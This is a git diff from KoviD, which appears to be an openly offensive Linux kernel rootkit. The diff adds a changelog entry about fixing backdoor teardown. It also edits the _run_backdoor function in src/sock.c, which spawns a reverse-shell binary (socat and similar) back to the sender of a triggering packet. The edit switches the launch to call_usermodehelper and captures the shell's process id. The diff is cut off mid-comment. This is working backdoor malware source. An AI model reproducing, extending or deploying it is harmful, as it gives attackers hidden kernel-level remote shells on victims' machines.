diff --git a/CHANGELOG.md b/CHANGELOG.md index f7b89cf..f1bb057 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,9 @@ All notable changes to KoviD will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/). +## 2.1.1 - Oct 19 2024 +### Fixed +- Fix backdoors deinit from 4ea5cd27 ## 2.1.0 - Oct 18 2024 ### Added diff --git a/src/sock.c b/src/sock.c index 480e1ba..8a28bcd 100644 --- a/src/sock.c +++ b/src/sock.c @@ -235,6 +235,7 @@ static int _run_backdoor(struct iphdr *iph, struct tcphdr *tcph, int select) { char *envp[] = {"HOME=/", "TERM=linux", NULL}; int ret = -1; pid_t shellpid = 0; + struct subprocess_info *info; __be32 saddr = iph->saddr; const char *binpath = _locate_bdbin(select == RR_SOCAT_TTY ? RR_SOCAT : select); @@ -254,7 +255,10 @@ static int _run_backdoor(struct iphdr *iph, struct tcphdr *tcph, int select) { } argv[2] = rev; - ret = kv_run_system_command(argv); + if ((info = call_usermodehelper_setup(argv[0], argv, envp, + GFP_KERNEL, _retrieve_pid_cb, NULL, &shellpid))) { + ret = call_usermodehelper_exec(info, UMH_WAIT_EXEC); + } /* * wait a little while before the